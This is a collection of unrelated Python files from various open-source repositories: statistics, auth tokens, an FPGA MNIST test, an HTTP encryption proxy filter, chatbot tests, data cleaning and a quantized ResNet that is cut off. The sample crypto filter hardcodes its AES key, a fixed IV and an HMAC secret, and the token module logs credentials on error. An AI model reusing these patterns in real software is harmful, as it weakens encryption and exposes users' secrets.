('default', 'ffn_morgan'), ('default', 'ffn_morgan_count'), ('default', 'ffn_rdkit'), ('features_no_opt', 'default'), ('hyperopt_eval', 'default'), ('hyperopt_ensemble', 'default'), ('hyperopt_eval', 'features_no_opt'), ('hyperopt_ensemble', 'hyperopt_eval'), ('default', 'undirected'), ('default', 'atom_messages'), ('hyperopt_eval', 'compare_lsc_scaffold') ] EXPERIMENTS = sorted({exp for comp in COMPARISONS for exp in comp}) class Args(Tap): preds_dir: str # Path to a directory containing predictions split_type: Literal['random', 'scaffold'] # Split type def load_preds_and_targets(preds_dir: str, experiment: str, dataset: str, split_type: str) -> Tuple[Optional[np.ndarray], Optional[np.ndarray]]: all_preds, all_targets = [], [] num_folds = 0 for fold in range(10): preds_path = os.path.join(preds_dir, f'417_{experiment}', dataset, split_type, str(fold), 'preds.npy') targets_path = os.path.join(preds_dir, f'417_{experiment}', dataset, split_type, str(fold), 'targets.npy') if not (os.path.exists(preds_path) and os.path.exists(targets_path)): continue preds = np.load(preds_path) targets = np.load(targets_path) all_preds.append(preds) all_targets.append(targets) num_folds += 1 if num_folds not in [3, 10]: print(f'Did not find 3 or 10 preds/targets files for experiment "{experiment}" and dataset "{dataset}" and split type "{split_type}"') return None, None all_preds, all_targets = np.concatenate(all_preds, axis=0), np.concatenate(all_targets, axis=0) assert all_preds.shape == all_targets.shape return all_preds, all_targets def compute_values(dataset: str, preds: List[List[List[float]]], targets: List[List[List[float]]]) -> List[float]: num_tasks = len(preds[0][0]) values = [ evaluate_predictions( preds=pred, targets=target, num_tasks=num_tasks, metric_func=DATASETS[dataset]['metric'], dataset_type=DATASETS[dataset]['type'], logger=FAKE_LOGGER ) for pred, target in tqdm(zip(preds, targets), total=len(preds)) ] values = [np.nanmean(value) for value in values] return values def wilcoxon_significance(preds_dir: str, split_type: str): print('dataset\t' + '\t'.join([f'{exp_1} vs {exp_2}' for exp_1, exp_2 in COMPARISONS])) for dataset in DATASETS: dataset_type = DATASETS[dataset]['type'] # Compute values experiment_to_values = {} for experiment in EXPERIMENTS: if experiment == 'compare_lsc_scaffold' and split_type != 'scaffold': continue preds, targets = load_preds_and_targets(preds_dir, experiment, dataset, split_type) # num_molecules x num_targets if preds is None or targets is None: experiment_to_values[experiment] = None continue if dataset_type == 'regression': preds, targets = [[pred] for pred in preds], [[target] for target in targets] else: preds, targets = np.array_split(preds, 30), np.array_split(targets, 30) values = compute_values(dataset, preds, targets) experiment_to_values[experiment] = values print(dataset, end='\t') # Compute p-values for experiment_1, experiment_2 in COMPARISONS: if 'compare_lsc_scaffold' in [experiment_1, experiment_2] and split_type != 'scaffold': continue values_1, values_2 = experiment_to_values[experiment_1], experiment_to_values[experiment_2] if values_1 is None or values_2 is None: print('Error', end='\t') continue assert len(values_1) == len(values_2) # Remove nans values_1, values_2 = zip(*[(v_1, v_2) for v_1, v_2 in zip(values_1, values_2) if not (np.isnan(v_1) or np.isnan(v_2))]) # test if error of 1 is less than error of 2 print(wilcoxon(values_1, values_2, alternative='less' if dataset_type == 'regression' else 'greater').pvalue, end='\t') print() if __name__ == '__main__': args = Args().parse_args() wilcoxon_significance( preds_dir=args.preds_dir, split_type=args.split_type, )

37.872832

142

0.638278

ace8c7356129c72faa3276a50a9746a9bef0fcdc

41

py

Python

tests/mturk/__init__.py

ericotjo001/neuron-descriptions

744fbf65c6538edd2fa423108eca7e2cd72f8b59

[ "MIT" ]

5

2022-02-22T21:58:10.000Z

2022-03-22T16:19:14.000Z

tests/mturk/__init__.py

ericotjo001/neuron-descriptions

744fbf65c6538edd2fa423108eca7e2cd72f8b59

[ "MIT" ]

3

2022-02-27T06:43:34.000Z

2022-03-18T08:30:30.000Z

tests/mturk/__init__.py

ericotjo001/neuron-descriptions

744fbf65c6538edd2fa423108eca7e2cd72f8b59

[ "MIT" ]

1

2022-02-27T05:18:30.000Z

"""Unit tests for `src.mturk` module."""

20.5

40

0.634146

ace8c7f111e1b0c9ce7d1aae2b3ceffcd9fb2c92

3,796

py

Python

sdks/bkpaas-auth/bkpaas_auth/core/token.py

piglei/bkpaas-python-sdk

3dfea8be5702ccea1228691c6c1c3e87a27238d2

[ "MIT" ]

1

2022-03-03T02:23:00.000Z

sdks/bkpaas-auth/bkpaas_auth/core/token.py

piglei/bkpaas-python-sdk

3dfea8be5702ccea1228691c6c1c3e87a27238d2

[ "MIT" ]

null

sdks/bkpaas-auth/bkpaas_auth/core/token.py

piglei/bkpaas-python-sdk

3dfea8be5702ccea1228691c6c1c3e87a27238d2

[ "MIT" ]

null

# -*- coding: utf-8 -*- """Access token for blueking """ import datetime import logging from django.utils.timezone import now from bkpaas_auth.conf import bkauth_settings from bkpaas_auth.core.constants import ProviderType from bkpaas_auth.core.exceptions import InvalidTokenCredentialsError, ServiceError from bkpaas_auth.core.http import http_get from bkpaas_auth.core.user_info import BkUserInfo, RtxUserInfo, UserInfo from bkpaas_auth.models import User logger = logging.getLogger(__name__) class AbstractRequestBackend: def request_username(self, **credentials): """Get username through credentials""" class TokenRequestBackend(AbstractRequestBackend): provider_type = ProviderType.BK def request_username(self, **credentials): """Get username through credentials""" is_success, resp = http_get(bkauth_settings.USER_COOKIE_VERIFY_URL, params=credentials, timeout=10) if not is_success: raise ServiceError('unable to fetch token services') # API 返回格式为：{"result": true, "code": 0, "message": "", "data": {"bk_username": "xxx"}} if resp.get('code') != 0: logger.error( f'Get user fail, url: {bkauth_settings.USER_COOKIE_VERIFY_URL}, ' f'params: {credentials}, response: {resp}' ) raise InvalidTokenCredentialsError('Invalid credentials given') return resp["data"]["bk_username"] class RequestBackend(AbstractRequestBackend): provider_type = ProviderType.RTX def request_username(self, **credentials): """Get username through credentials""" is_success, resp = http_get(bkauth_settings.USER_COOKIE_VERIFY_URL, params=credentials, timeout=10) if not is_success: raise ServiceError('unable to fetch token services') # API 返回格式为：{"msg": "", "data": {"username": "xxx"}, "ret": 0} if resp.get('ret') != 0: logger.error( f'Get user fail, url: {bkauth_settings.USER_COOKIE_VERIFY_URL}, ' f'params: {credentials}, response: {resp}' ) raise InvalidTokenCredentialsError('Invalid credentials given') return resp["data"]["username"] class LoginToken: """Access token object""" token_timeout_margin = 300 def __init__(self, login_token=None, expires_in=None): assert login_token, 'Must provide token string' assert expires_in, 'Must provide expires_in seconds' self.login_token = login_token self.expires_at = now() + datetime.timedelta(seconds=expires_in) self.issued_at = now() self.user_info = UserInfo(username='AnonymousUser') def __str__(self): return 'token: {} expires_at: {}'.format(self.login_token, self.expires_at) def expired(self): return self.expires_at < now() def make_user(self, provider_type): self.user_info.provider_type = provider_type return create_user_from_token(self) def mocked_create_user_from_token( token: LoginToken, provider_type: int = ProviderType.RTX, username: str = bkauth_settings.MOCKED_USER_NAME ) -> User: """Mocked create_user function, only for temporary use""" if provider_type == ProviderType.RTX: token.user_info = RtxUserInfo( LoginName=username, ChineseName=username, ) elif provider_type == ProviderType.BK: token.user_info = BkUserInfo(bk_username=username, chname=username, email='', phone='') else: raise ValueError('Invalid provider_type given.') return create_user_from_token(token) def create_user_from_token(token: LoginToken) -> User: """Create a user object from user info dict""" user = User(token=token) return token.user_info.provide(user)

35.148148

110

0.682561

ace8ca5d9945dec979e1e5f10f1d8bd6401be1d7

27

py

Python

visvmtagger/__init__.py

kanjirz50/viet-morphological-analysis-svm

7535a56cc0a63342bda14f39abbca1161e8cb93c

[ "MIT" ]

7

2016-03-26T13:12:16.000Z

2019-10-26T04:31:14.000Z

visvmtagger/__init__.py

kanjirz50/viet-morphological-analysis-svm

7535a56cc0a63342bda14f39abbca1161e8cb93c

[ "MIT" ]

3

2016-05-29T09:13:13.000Z

2017-02-27T05:27:09.000Z

visvmtagger/__init__.py

kanjirz50/viet-morphological-analysis-svm

7535a56cc0a63342bda14f39abbca1161e8cb93c

[ "MIT" ]

7

2016-03-30T03:35:52.000Z

2019-10-26T04:31:17.000Z

from .tagger import Tagger

13.5

26

0.814815

ace8cab4374e8a3c1ad3fb01a2d39fca8a6c2132

4,537

py

Python

test/test_mnist/test_mnist.py

pgfarley/deep-learning-fpga

1ceb6334c3d0640fa26e1337cffb61fda9ec24ec

[ "MIT" ]

1

2018-11-15T07:58:54.000Z

test/test_mnist/test_mnist.py

pgfarley/deep-learning-fpga

1ceb6334c3d0640fa26e1337cffb61fda9ec24ec

[ "MIT" ]

5

2018-10-29T06:50:38.000Z

2018-10-29T09:42:11.000Z

test/test_mnist/test_mnist.py

pgfarley/deep-learning-fpga

1ceb6334c3d0640fa26e1337cffb61fda9ec24ec

[ "MIT" ]

null

import cocotb from cocotb.clock import Clock from cocotb.triggers import RisingEdge, ReadOnly from cocotb.binary import BinaryValue from cocotb.result import TestFailure import os import struct import math import numpy as np import sklearn as sk import sklearn.neural_network from binstr import bytes_to_b def should_equal(expected, actual, epsilon=0): if (abs(expected - actual) > epsilon): raise TestFailure( f'Expected {expected} found {actual}. Exceeds epsilon of {epsilon}' ) @cocotb.coroutine def reset(dut): dut.reset_n = 0 yield RisingEdge(dut.clk) dut.reset_n = 1 dut.in_en = 0 yield RisingEdge(dut.clk) @cocotb.coroutine def load_weights(dut, weights): yield RisingEdge(dut.clk) dut.weights_en = 1 for weights_idx, weights in enumerate(weights): dut.weights_layer_address = weights_idx for n_idx, n in enumerate(weights): dut.weights_n_address = n_idx for m_idx, m in enumerate(n): dut.weights_m_address = m_idx dut.weights_data = int(m * math.pow(2, 16)) yield RisingEdge(dut.clk) dut.weights_en = 0 yield RisingEdge(dut.clk) @cocotb.test() def mnist_predict_1(dut): cocotb.fork(Clock(dut.clk, 2).start()) nn = sk.neural_network.MLPRegressor( # nn = sk.neural_network.MLPClassifier( activation='relu', hidden_layer_sizes=(10,) ) with open("mnist/train-images.idx3-ubyte", "rb") as image_file: with open("mnist/train-labels.idx1-ubyte", "rb") as label_file: _, image_count, height, width = struct.unpack( '>iiii', image_file.read(16) ) _, label_count = struct.unpack('>ii', label_file.read(8)) image_data = np.array( struct.unpack( f"{width*height*image_count}B", image_file.read(width * height*image_count) ) ).reshape(image_count, width*height) label_data = np.array( struct.unpack( f"{label_count}B", label_file.read(image_count) ) ).reshape(-1,) nn.fit(image_data, label_data) weights = [ np.insert(nn.coefs_[0], 0, nn.intercepts_[0], axis=0), np.insert(nn.coefs_[1], 0, nn.intercepts_[1], axis=0) ] print(weights) print(np.array(weights).shape) print(np.array(weights[0]).shape) print(np.array(weights[1]).shape) yield reset(dut) yield load_weights(dut, weights) with open("mnist/t10k-images.idx3-ubyte", "rb") as image_file: with open("mnist/t10k-labels.idx1-ubyte", "rb") as label_file: _, image_count, height, width = struct.unpack( '>iiii', image_file.read(16) ) _, label_count = struct.unpack('>ii', label_file.read(8)) image_data = np.array( struct.unpack( f"{width*height*image_count}B", image_file.read(width * height*image_count) ) ).reshape(image_count, width*height) label_data = np.array( struct.unpack( f"{label_count}B", label_file.read(image_count) ) ).reshape(-1,) prediction = nn.predict(image_data[1].reshape(1,image_data.shape[1])) print(label_data[1]) print(prediction) with open("mnist/t10k-images.idx3-ubyte", "rb") as image_file: _ = image_file.read(16) data = image_file.read(784) input_data = BinaryValue() input_data.binstr = bytes_to_b(data) print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@") print(input_data.buff) print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@") dut.in_data = input_data dut.in_en = 1 yield RisingEdge(dut.out_en) yield ReadOnly() should_equal( prediction[0], dut.out_data.value.signed_integer / math.pow(2, 16), epsilon=0.01) print(dut.out_data.value.signed_integer / math.pow(2, 16)) print(dut.out_data) print(prediction[0]) print(prediction[0] - dut.out_data.value.signed_integer / math.pow(2, 16))

30.246667

86

0.549262

ace8cb8de8f6e2d6e8f80477abd5200064e53cb1

6,969

py

Python

pyrox/portcullis/crypto_filter.py

jfwood/pyrox

5963d4a89cb795aba777f960e9ceba7ff2244bd2

[ "MIT" ]

1

2020-04-07T10:15:07.000Z

pyrox/portcullis/crypto_filter.py

jfwood/pyrox

5963d4a89cb795aba777f960e9ceba7ff2244bd2

[ "MIT" ]

null

pyrox/portcullis/crypto_filter.py

jfwood/pyrox

5963d4a89cb795aba777f960e9ceba7ff2244bd2

[ "MIT" ]

null

import pyrox.filtering as filtering from Crypto.Cipher import AES from Crypto.Hash import HMAC, SHA256 import requests class CryptoFilter(filtering.HttpFilter): """ This filter encrypts/decrypts data streamed through it on its way to/from a Swift encrypted volume. """ REQUEST = 0 RESPONSE = 1 def __init__(self): super(CryptoFilter, self).__init__() print("initing new filter") #TODO(jwood) Just need one of these processors. self.processor_upload = SampleCryptoProcessor(is_encrypt=True) self.processor_download = SampleCryptoProcessor(is_encrypt=False) self.request_method = None self.hmac = HMAC.new("secretkey", digestmod=SHA256.new()) @filtering.handles_request_head def on_request_head(self, request_head): print(">>>>>>> {}".format(self)) print('Got request head with verb: {}'.format(request_head.method)) self.request_method = request_head.method self.url = request_head.url self.auth_token = request_head.header("X-Auth-Token").values[0] @filtering.handles_response_head def on_response_head(self, response_head): print('Got response head with status: {}'.format(response_head.status)) if response_head.status == '201' and self.request_method == 'PUT': self.set_hmac() hmac_digest = response_head.get_header("X-Object-Meta-Hmac-Digest") if hmac_digest: self.hmac_digest = hmac_digest.values[0] @filtering.handles_request_body def on_request_body(self, msg_part, output): """Must be able to handle the following conditions: 1) The input is exactly the same size as modulo-block-size blocks of post-processed buffer output, so can send these along to the upstream server. 2) The input data is not enough to create an output block, so can't send anything along to upstream yet. 3) The input data is not an even block size, so can only send some blocks along to upstream (leaving some data in the buffer). 4) The input data is empty/None indicating no more data to send along so need to send all final block(s) along to upstream. """ # print('Got request content chunk: {}'.format(msg_part)) # output.write(msg_part) print(">>>>>>>>>>>>>>>>>>>> req_body - req method: {}".format(self.request_method)) if not self.request_method == 'PUT': output.write(msg_part) return self.process_chunk(msg_part, self.REQUEST, output) @filtering.handles_response_body def on_response_body(self, msg_part, output): print('Got response content chunk') # : {}'.format(msg_part)) print(">>>>>>>>>>>>>>>>>>>> resp_body - req method: {}".format(self.request_method)) if not self.request_method == 'GET': output.write(msg_part) return self.process_chunk(msg_part, self.RESPONSE, output) def process_chunk(self, msg_part, req_resp, output): if msg_part: if req_resp == self.REQUEST: output_part = self.processor_upload.process_data(msg_part) self.hmac.update(output_part) else: self.hmac.update(msg_part) output_part = self.processor_download.process_data(msg_part) if output_part: print("!!!!! Output chunk...message length {}".format(len(msg_part))) # .format(output_part)) output.write(output_part) else: print("!!!!! Not enough data for message length {}".format(len(msg_part))) output.write("") else: if req_resp == self.REQUEST: print('finishing request') output_part = self.processor_upload.finish() else: print('finishing response') output_part = self.processor_download.finish() # this stuff isn't being invoked right now print('done downloading. hmac should be {}'.format(self.hmac_digest)) print('done downloading. hmac is {}'.format(self.hmac.hexdigest())) print("!!!!! Final: {}".format(output_part)) output.write(output_part) def set_hmac(self): print("!!!!! start set hmac") url = "https://storage101.dfw1.clouddrive.com:443" + self.url headers = {"X-Object-Meta-Hmac-Digest": self.hmac.hexdigest(), "X-Auth-Token": self.auth_token} requests.post(url, headers=headers) print("!!!!! end set hmac") #TODO(jwood) Consider adding a base Processor class, that this one extends? class SampleCryptoProcessor(object): def __init__(self, is_encrypt, block_size_bytes=16): self.block_size_bytes = block_size_bytes key = 'sixteen_byte_key' iv = 'sixteen_byte_iv!' self.block_method = self._encrypt_block if is_encrypt else self._decrypt_block self.encryptor = AES.new(key, AES.MODE_CBC, iv) self.decryptor = AES.new(key, AES.MODE_CBC, iv) self.last_block = '' self.is_encrypt = is_encrypt def process_data(self, data): """Accept and process the input 'data' block. Return an 'output' that is a modulo of this processor's block size, which may not be evenly aligned with the input data's size. """ buff = ''.join([self.last_block, data]) len_buff = len(buff) if len_buff <= self.block_size_bytes: self.last_block = buff return '' len_buff_modulo = len_buff - (len_buff % self.block_size_bytes) if not len_buff % self.block_size_bytes: len_buff_modulo -= self.block_size_bytes self.last_block = buff[len_buff_modulo:] output = self.block_method(buff[:len_buff_modulo]) return output def finish(self): """Indicate that we are finished using this data structure, so need to output based on existing buffer data.""" if self.is_encrypt: output = self._pad(self.last_block) output = self.block_method(output) else: output = self.block_method(self.last_block) output = self._strip_pad(output) self.last_block = '' return output def _encrypt_block(self, block): block = self.encryptor.encrypt(block) return block def _decrypt_block(self, block): return self.decryptor.decrypt(block) def _pad(self, unencrypted): """Adds padding to unencrypted byte string.""" pad_length = self.block_size_bytes - ( len(unencrypted) % self.block_size_bytes ) return unencrypted + (chr(pad_length) * pad_length) def _strip_pad(self, unencrypted): pad_length = ord(unencrypted[-1:]) unpadded = unencrypted[:-pad_length] return unpadded

40.283237

119

0.62735

ace8cb9c0d4537b36303139a501701b8b45bc1e3

4,812

py

Python

test/programytest/mappings/test_sets.py

motazsaad/fit-bot-fb-clt

580477aa1ec91855b621d9ae276f2705962f6a87

[ "MIT" ]

5

2018-08-21T00:13:45.000Z

2018-09-01T20:00:55.000Z

test/programytest/mappings/test_sets.py

motazsaad/fit-bot-fb-clt

580477aa1ec91855b621d9ae276f2705962f6a87

[ "MIT" ]

1

2018-09-12T18:30:17.000Z

test/programytest/mappings/test_sets.py

motazsaad/fit-bot-fb-clt

580477aa1ec91855b621d9ae276f2705962f6a87

[ "MIT" ]

5

2018-08-21T00:08:36.000Z

2018-09-23T06:11:04.000Z

import unittest import os from programy.mappings.sets import SetCollection from programy.storage.factory import StorageFactory from programy.storage.stores.file.config import FileStorageConfiguration from programy.storage.stores.file.engine import FileStorageEngine from programy.storage.stores.file.config import FileStoreConfiguration class SetTests(unittest.TestCase): def test_initialise_collection(self): collection = SetCollection() self.assertIsNotNone(collection) self.assertIsNotNone(collection.sets) self.assertIsNotNone(collection.stores) def test_collection_operations(self): collection = SetCollection() collection.add_set("TESTSET", {"A": [["A", "B", "C"]], "D": [["D"]], "E": [["E", "F"]]}, "teststore") collection.add_set("TESTSET2", {"1": [["1", "2", "3"]], "4": [["4"]], "5": [["5", "6"]]}, "teststore") self.assertIsNotNone(collection.sets) self.assertIsNotNone(collection.stores) self.assertTrue(collection.contains("TESTSET")) self.assertTrue(collection.contains("TESTSET2")) self.assertFalse(collection.contains("TESTSET3")) self.assertEqual(collection.store_name("TESTSET"), "teststore") aset = collection.set("TESTSET") self.assertIsNotNone(aset) self.assertEqual(6, collection.count_words_in_sets()) collection.remove("TESTSET2") self.assertTrue(collection.contains("TESTSET")) self.assertFalse(collection.contains("TESTSET2")) self.assertFalse(collection.contains("TESTSET3")) collection.empty() self.assertIsNotNone(collection.sets) self.assertIsNotNone(collection.stores) self.assertFalse(collection.contains("TESTSET")) self.assertIsNone(collection.set("TESTSET")) self.assertNotEquals(collection.store_name("TESTSET"), "teststore") def test_load_from_file(self): storage_factory = StorageFactory() file_store_config = FileStorageConfiguration() file_store_config._sets_storage = FileStoreConfiguration(dirs=[os.path.dirname(__file__) + os.sep + "test_files" + os.sep + "sets"]) storage_engine = FileStorageEngine(file_store_config) storage_factory._storage_engines[StorageFactory.SETS] = storage_engine storage_factory._store_to_engine_map[StorageFactory.SETS] = storage_engine collection = SetCollection() self.assertIsNotNone(collection) collection.load(storage_factory) self.assertIsNotNone(collection._sets) self.assertEqual(len(collection._sets), 1) self.assertIsNotNone(collection._stores) self.assertEqual(len(collection._stores), 1) self.assertTrue("TEST_SET" in collection._sets) self.assertTrue("TEST_SET" in collection._stores) self.assertTrue(collection.contains('TEST_SET')) aset = collection.set('TEST_SET') self.assertIsNotNone(aset) values = aset['AIR'] self.assertIsNotNone(values) self.assertTrue(['Air', 'Force', 'blue'] in values) def test_reload_from_file(self): storage_factory = StorageFactory() file_store_config = FileStorageConfiguration() file_store_config._sets_storage = FileStoreConfiguration(dirs=[os.path.dirname(__file__) + os.sep + "test_files" + os.sep + "sets"]) storage_engine = FileStorageEngine(file_store_config) storage_factory._storage_engines[StorageFactory.SETS] = storage_engine storage_factory._store_to_engine_map[StorageFactory.SETS] = storage_engine collection = SetCollection() self.assertIsNotNone(collection) collection.load(storage_factory) self.assertIsNotNone(collection._sets) self.assertEqual(len(collection._sets), 1) self.assertIsNotNone(collection._stores) self.assertEqual(len(collection._stores), 1) self.assertTrue("TEST_SET" in collection._sets) self.assertTrue("TEST_SET" in collection._stores) self.assertTrue(collection.contains('TEST_SET')) aset = collection.set('TEST_SET') self.assertIsNotNone(aset) self.assertTrue(['Air', 'Force', 'blue'] in aset['AIR']) collection.reload(storage_factory, "TEST_SET" ) self.assertIsNotNone(collection._sets) self.assertEqual(len(collection._sets), 1) self.assertIsNotNone(collection._stores) self.assertEqual(len(collection._stores), 1) self.assertTrue("TEST_SET" in collection._sets) self.assertTrue("TEST_SET" in collection._stores) self.assertTrue(collection.contains('TEST_SET')) self.assertIsNotNone(collection.set('TEST_SET')) self.assertTrue(['Air', 'Force', 'blue'] in collection.set('TEST_SET')['AIR'])

37.302326

140

0.693682

ace8cbe2d4c4184c41e9dffaffce0be1fac37820

1,950

py

Python

Data Cleaning/Class 5 - Inconsistent Data Entry.py

haoweii0215/Kaggle-Courses

57974b2e6618b1125e030791320c649dda2fc783

[ "MIT" ]

null

Data Cleaning/Class 5 - Inconsistent Data Entry.py

haoweii0215/Kaggle-Courses

57974b2e6618b1125e030791320c649dda2fc783

[ "MIT" ]

null

Data Cleaning/Class 5 - Inconsistent Data Entry.py

haoweii0215/Kaggle-Courses

57974b2e6618b1125e030791320c649dda2fc783

[ "MIT" ]

null

# Inconsistent Data Entry import pandas as pd import numpy as np import fuzzywuzzy from fuzzywuzzy import process import chardet ### read in all our data professors = pd.read_csv("../Data/Pakistan Intellectual Capital.csv") ### get all the unique values in the 'Country' column countries = professors['Country'].unique() ### sort them alphabetically and then take a closer look countries.sort() ### convert to lower case professors['Country'] = professors['Country'].str.lower() ### remove trailing white spaces professors['Country'] = professors['Country'].str.strip() ### get all the unique values in the 'Country' column countries = professors['Country'].unique() ### get the top 10 closest matches to "south korea" matches = fuzzywuzzy.process.extract("south korea", countries, limit=10, scorer=fuzzywuzzy.fuzz.token_sort_ratio) ### function to replace rows in the provided column of the provided dataframe ### that match the provided string above the provided ratio with the provided string def replace_matches_in_column(df, column, string_to_match, min_ratio=47): ### get a list of unique strings strings = df[column].unique() ### get the top 10 closest matches to our input string matches = fuzzywuzzy.process.extract(string_to_match, strings, limit=10, scorer=fuzzywuzzy.fuzz.token_sort_ratio) ### only get matches with a ratio > 90 close_matches = [matches[0] for matches in matches if matches[1] >= min_ratio] ### get the rows of all the close matches in our dataframe rows_with_matches = df[column].isin(close_matches) ### replace all rows with close matches with the input matches df.loc[rows_with_matches, column] = string_to_match ### let us know the function's done print("All done!") ### use the function we just wrote to replace close matches to "south korea" with "south korea" replace_matches_in_column(df=professors, column='Country', string_to_match="south korea")

36.111111

117

0.745641

ace8cc9b39a44d1eb0cf07cc2a3be83874aa9288

19,528

py

Python

tools/pytorch-quantization/model/resnet.py

malithj/TensorRT

48605d4b5673df89110cf41249ad007259d7c34a

[ "Apache-2.0" ]

null

tools/pytorch-quantization/model/resnet.py

malithj/TensorRT

48605d4b5673df89110cf41249ad007259d7c34a

[ "Apache-2.0" ]

null

tools/pytorch-quantization/model/resnet.py

malithj/TensorRT

48605d4b5673df89110cf41249ad007259d7c34a

[ "Apache-2.0" ]

null

# # Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import torch from torch import Tensor import torch.nn as nn from torch.hub import load_state_dict_from_url from typing import Type, Any, Callable, Union, List, Optional from pytorch_quantization import quant_modules from pytorch_quantization import nn as quant_nn __all__ = [ 'ResNet', 'resnet18', 'resnet34', 'resnet50', 'resnet101', 'resnet152', 'resnext50_32x4d', 'resnext101_32x8d', 'wide_resnet50_2', 'wide_resnet101_2' ] model_urls = { 'resnet18': 'https://download.pytorch.org/models/resnet18-5c106cde.pth', 'resnet34': 'https://download.pytorch.org/models/resnet34-333f7ec4.pth', 'resnet50': 'https://download.pytorch.org/models/resnet50-19c8e357.pth', 'resnet101': 'https://download.pytorch.org/models/resnet101-5d3b4d8f.pth', 'resnet152': 'https://download.pytorch.org/models/resnet152-b121ed2d.pth', 'resnext50_32x4d': 'https://download.pytorch.org/models/resnext50_32x4d-7cdf4587.pth', 'resnext101_32x8d': 'https://download.pytorch.org/models/resnext101_32x8d-8ba56ff5.pth', 'wide_resnet50_2': 'https://download.pytorch.org/models/wide_resnet50_2-95faca4d.pth', 'wide_resnet101_2': 'https://download.pytorch.org/models/wide_resnet101_2-32ee1156.pth', } def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1, quantize: bool = False) -> nn.Conv2d: """3x3 convolution with padding""" if quantize: return quant_nn.QuantConv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=dilation, groups=groups, bias=False, dilation=dilation) else: return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=dilation, groups=groups, bias=False, dilation=dilation) def conv1x1(in_planes: int, out_planes: int, stride: int = 1, quantize: bool = False) -> nn.Conv2d: """1x1 convolution""" if quantize: return quant_nn.QuantConv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False) else: return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False) class BasicBlock(nn.Module): expansion: int = 1 def __init__(self, inplanes: int, planes: int, stride: int = 1, downsample: Optional[nn.Module] = None, groups: int = 1, base_width: int = 64, dilation: int = 1, norm_layer: Optional[Callable[..., nn.Module]] = None, quantize: bool = False) -> None: super(BasicBlock, self).__init__() if norm_layer is None: norm_layer = nn.BatchNorm2d if groups != 1 or base_width != 64: raise ValueError( 'BasicBlock only supports groups=1 and base_width=64') if dilation > 1: raise NotImplementedError( "Dilation > 1 not supported in BasicBlock") # Both self.conv1 and self.downsample layers downsample the input when stride != 1 self.conv1 = conv3x3(inplanes, planes, stride, quantize=quantize) self.bn1 = norm_layer(planes) self.relu = nn.ReLU(inplace=True) self.conv2 = conv3x3(planes, planes, quantize=quantize) self.bn2 = norm_layer(planes) self.downsample = downsample self.stride = stride self._quantize = quantize if self._quantize: self.residual_quantizer = quant_nn.TensorQuantizer( quant_nn.QuantConv2d.default_quant_desc_input) def forward(self, x: Tensor) -> Tensor: identity = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) if self.downsample is not None: identity = self.downsample(x) if self._quantize: out += self.residual_quantizer(identity) else: out += identity out = self.relu(out) return out class Bottleneck(nn.Module): # Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2) # while original implementation places the stride at the first 1x1 convolution(self.conv1) # according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385. # This variant is also known as ResNet V1.5 and improves accuracy according to # https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch. expansion: int = 4 def __init__(self, inplanes: int, planes: int, stride: int = 1, downsample: Optional[nn.Module] = None, groups: int = 1, base_width: int = 64, dilation: int = 1, norm_layer: Optional[Callable[..., nn.Module]] = None, quantize: bool = False) -> None: super(Bottleneck, self).__init__() if norm_layer is None: norm_layer = nn.BatchNorm2d width = int(planes * (base_width / 64.)) * groups # Both self.conv2 and self.downsample layers downsample the input when stride != 1 self.conv1 = conv1x1(inplanes, width, quantize=quantize) self.bn1 = norm_layer(width) self.conv2 = conv3x3(width, width, stride, groups, dilation, quantize=quantize) self.bn2 = norm_layer(width) self.conv3 = conv1x1(width, planes * self.expansion, quantize=quantize) self.bn3 = norm_layer(planes * self.expansion) self.relu = nn.ReLU(inplace=True) self.downsample = downsample self.stride = stride self._quantize = quantize if self._quantize: self.residual_quantizer = quant_nn.TensorQuantizer( quant_nn.QuantConv2d.default_quant_desc_input) def forward(self, x: Tensor) -> Tensor: identity = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) out = self.relu(out) out = self.conv3(out) out = self.bn3(out) if self.downsample is not None: identity = self.downsample(x) if self._quantize: out += self.residual_quantizer(identity) else: out += identity out = self.relu(out) return out class ResNet(nn.Module): def __init__(self, block: Type[Union[BasicBlock, Bottleneck]], layers: List[int], quantize: bool = False, num_classes: int = 1000, zero_init_residual: bool = False, groups: int = 1, width_per_group: int = 64, replace_stride_with_dilation: Optional[List[bool]] = None, norm_layer: Optional[Callable[..., nn.Module]] = None) -> None: super(ResNet, self).__init__() self._quantize = quantize if norm_layer is None: norm_layer = nn.BatchNorm2d self._norm_layer = norm_layer self.inplanes = 64 self.dilation = 1 if replace_stride_with_dilation is None: # each element in the tuple indicates if we should replace # the 2x2 stride with a dilated convolution instead replace_stride_with_dilation = [False, False, False] if len(replace_stride_with_dilation) != 3: raise ValueError("replace_stride_with_dilation should be None " "or a 3-element tuple, got {}".format(replace_stride_with_dilation)) self.groups = groups self.base_width = width_per_group if quantize: self.conv1 = quant_nn.QuantConv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False) else: self.conv1 = nn.Conv2d( 3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = norm_layer(self.inplanes) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0], quantize=quantize) self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0], quantize=quantize) self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1], 